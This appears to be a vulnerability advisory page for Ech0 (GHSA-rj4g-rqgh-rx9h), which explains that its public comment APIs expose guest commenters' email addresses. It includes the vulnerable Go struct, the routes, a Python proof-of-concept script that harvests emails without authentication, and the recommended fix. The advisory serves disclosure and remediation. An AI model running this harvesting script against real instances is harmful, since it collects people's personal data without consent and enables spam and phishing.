Ech0 comment model's Email field returned on public /api/comments endpointsGHSA-rj4g-rqgh-rx9h
MEDIUMFix: lin-snow/Ech0@cb8d7a9GHSA-rj4g-rqgh-rx9h is a medium-severity (CVSS 5.3) Information Exposure vulnerability in github.com/lin-snow/Ech0. A fix is available for github.com/lin-snow/Ech0 — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-rj4g-rqgh-rx9h.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/lin-snow/Ech0Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Comment model serializes its Email field through the public comment-listing API. internal/model/comment/comment.go:33 uses json:"email", while adjacent PII fields (IPHash, UserAgent) correctly use json:"-". The public endpoints GET /api/comments?echo_id=X and GET /api/comments/public?limit=N both live on PublicRouterGroup with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls.
Details
The Comment model at internal/model/comment/comment.go:33:
type Comment struct {
// ...
Email string `gorm:"size:255;not null;index" json:"email"`
IPHash string `gorm:"size:128;index" json:"-"`
UserAgent string `gorm:"size:512" json:"-"`
// ...
}
The json:"-" on IPHash and UserAgent shows the developer's intent: hide server-side PII from API responses. The Email field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim.
Routes at internal/router/comment.go:20 and comment public-feed route:
appRouterGroup.PublicRouterGroup.GET("/comments", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID())
appRouterGroup.PublicRouterGroup.GET("/comments/public", middleware.NoCache(), h.CommentHandler.ListPublicComments())
Both handlers call ListPublicByEchoID (service at internal/service/comment/comment.go:329) or ListPublicComments (service at :340), both of which return the slice of Comment structs to ctx.JSON. No DTO projection, no field stripping.
The email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side.
GHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on GET /api/allusers, which exposed account-owner emails. This report covers a distinct endpoint (/api/comments and /api/comments/public) and a distinct data subject (guest commenters, not registered account owners).
Proof of Concept
Anonymous caller harvests commenter emails on the default install:
import requests
TARGET = "http://localhost:8300"
# Any echo UUID from the public feed.
pub_id = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()["data"]["items"][0]["id"]
# No auth header. The response includes the raw email field.
r = requests.get(f"{TARGET}/api/comments", params={"echo_id": pub_id})
for c in r.json()["data"]:
print(f" nickname={c['nickname']!r} email={c.get('email')!r}")
# The /public variant returns recent comments across every echo.
r = requests.get(f"{TARGET}/api/comments/public", params={"limit": 100})
emails = {c.get("email") for c in r.json()["data"] if c.get("email")}
print(f"harvested {len(emails)} unique emails from /comments/public")
Observed on v4.5.6:
nickname='GuestHarvestMe' email='[email protected]'
harvested 1 unique emails from /comments/public
The instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address.
Impact
Anonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against /api/comments/public. Privacy-regulation exposure follows:
- GDPR and CCPA. Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes.
- Spam and phishing targeting. Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with.
- Cross-instance aggregation. A scraper against any public-facing Ech0 instance yields a curated list of people who comment on the topics the site covers.
No authentication required. No admin role required. The /comments/public endpoint returns cross-echo aggregated data, so one call covers the whole instance.
Recommended Fix
Change the JSON tag on the Email field to match the adjacent PII fields:
Email string `gorm:"size:255;not null;index" json:"-"`
Or, if some authenticated view needs the email, introduce a PublicComment DTO that projects only non-sensitive fields:
type PublicComment struct {
ID string `json:"id"`
EchoID string `json:"echo_id"`
Nickname string `json:"nickname"`
Website string `json:"website,omitempty"`
Content string `json:"content"`
Status string `json:"status"`
Hot bool `json:"hot"`
Source string `json:"source"`
CreatedAt int64 `json:"created_at"`
UpdatedAt int64 `json:"updated_at"`
}
Project the handler output through this DTO. Keep the raw Comment struct internal to the service layer.
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lin-snow/Ech0 | all versions | 1.4.8-0.20260503034700-cb8d7a997dd8go get github.com/lin-snow/Ech0@v1.4.8-0.20260503034700-cb8d7a997dd8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/Ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lin-snow/Ech0 to 1.4.8-0.20260503034700-cb8d7a997dd8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rj4g-rqgh-rx9h is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Frequently Asked Questions
Is GHSA-rj4g-rqgh-rx9h in your dependencies?
Find it across Go, including transitive dependencies.